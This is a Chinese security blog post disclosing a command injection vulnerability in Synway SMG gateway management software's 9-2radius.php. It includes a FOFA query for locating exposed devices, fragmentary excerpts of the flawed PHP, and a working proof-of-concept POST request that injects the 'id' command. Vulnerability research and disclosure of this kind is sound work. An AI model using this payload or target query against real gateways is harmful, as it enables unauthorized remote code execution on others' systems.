

# Synway SMG网关管理软件 9-2radius.php 命令注入

## 请注意 ⚠

- 1、本站文章均为原创，未经授权请勿用于任何商业用途。
- 2、仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害，均由使用者自行承担，文章作者不为此承担任何责任。
- 3、禁止任何人未经授权转载文章到大陆任何平台，特别是转载还没标记出处的卑劣者。

## 漏洞简介

三汇SMG 网关管理[软件](#)是与三汇SMG系列数字网关产品配套的管理工具，是杭州三汇信息工程有限公司开发的一款高效、稳定、易用的网关管理软件。它专为三汇SMG系列数字网关设计，提供了全面的配置、监控、管理和维护功能，帮助用户轻松实现网关设备的远程管理和优化。由于 `9-2radius.php` 参数 `slave` 的处理不当，导致[命令注入](#)问题，攻击者可以通过远程发起攻击。 [回软件](#)

## fofa语法

```
body="text ml10 mr20" && (title="网关管理软件" || title="Gateway Management")
```

## 漏洞分析

直接看 `9-2radius.php` 关键业务逻辑实现部分

```
if($_POST[save]!="")
{
    $enable_radius_new = $_POST[enable_radius]==""?0:1;
    .....
    if($enable_radius_new)
    {
        .....
        $address_info = explode(":",$_POST[radius_address]);
        $cmd = "sed -i 's/server first ./server first $addr
```

```

system($cmd);
.....
if($_POST[radius_address2] == "")
{
.....
else
{
$address_info = explode(":",$_POST[radius_address2]);
if($flag)

```

**请注意** ⚠

- 1、本站文章均为原创，未经授权请勿用于任何商业用途。
- 2、仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害，均由使用者自行承担，文章作者不为此承担任何责任。
- 3、禁止任何人未经授权转载文章到大陆任何平台，特别是转载还没标记出处的卑劣者。

```

system($cmd);
$cmd = "sed -i 's/timeout .*/timeout $_POST[timeout]';"
system($cmd);
$cmd = "sed -i 's/retry .*/retry $_POST[retry]/g' $r";
system($cmd);
}

```

当满足下列条件时

- save 不为空
- enable\_radius 不为空

将 radius\_address 和 shared\_secret 无任何过滤直接拼接进 sed 命令中后调用 system 执行，造成命令注入漏洞。

同样当 radius\_address2 不为空时，也是将其直接拼接进 sed 命令中后调用 system 执行，造成命令注入漏洞，同样 shared\_secret 也是命令注入点。

以及后面的 source\_ip timeout 和 retry 都是同样直接拼接后执行命令。

### 漏洞复现

```

POST /en/9-2radius.php?authority=6 HTTP/1.1
Host: synway.mrxn.net
Content-Type: application/x-www-form-urlencoded

save=1&enable_radius=1&radius_address=/'id;+#+

```



成执行 id 命令并回显结果

标签：#漏洞 #web安全 #代码审计 #0day #rce

版权所有：Mrxn's Blog

文章标题：Synway SMG网关管理软件 9-2radius.php 命令注入漏洞

文章链接：<https://mrxn.net/jszw/synway-9-2radius-rce.html>

本站文章均为原创，未经授权请勿用于任何商业用途。仅供安全研究和  
学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损  
害，均由使用者自行承担，文章作者不为此承担任何责任。 [计算机安全](#)

## 相关文章

### 请注意 ⚠

- 1、本站文章均为原创，未经授权请勿用于任何商业用途。
- 2、仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害，均由使用者自行承担，文章作者不为此承担任何责任。
- 3、禁止任何人未经授权转载文章到大陆任何平台，特别是转载还没标记出处的卑劣者。



**请注意!**

- 1、本站文章均为原创, 未经授权请勿用于任何商业用途。
- 2、仅供安全研究和学...
- 3、禁止任何人未经授权转载文章到大陆任何平台, 特别是转载还没标记出处的卑劣者。

上一篇

Synway SMG网关管理软件 9-13pcap.php 命令注入漏洞

下一篇

三江SMG 网关管理软件 down.php 任意文件读取漏洞

评论

昵称

请注意 ⚠

✕

- 1、本站文章均为原创，未经授权请勿用于任何商业用途。
- 2、仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害，均由使用者自行承担，文章作者不为此承担任何责任。
- 3、禁止任何人未经授权转载文章到大陆任何平台，特别是转载还没标记出处的卑劣者。

深入探索

客户关系管理

计算机硬件

论坛

本站为Mrxn的个人站点，内容仅供观摩交流之用，将不对任何资源负法律责任。如有侵犯您的版权，请及时联系管理员，查证后将尽快处理。 Rss

sitemap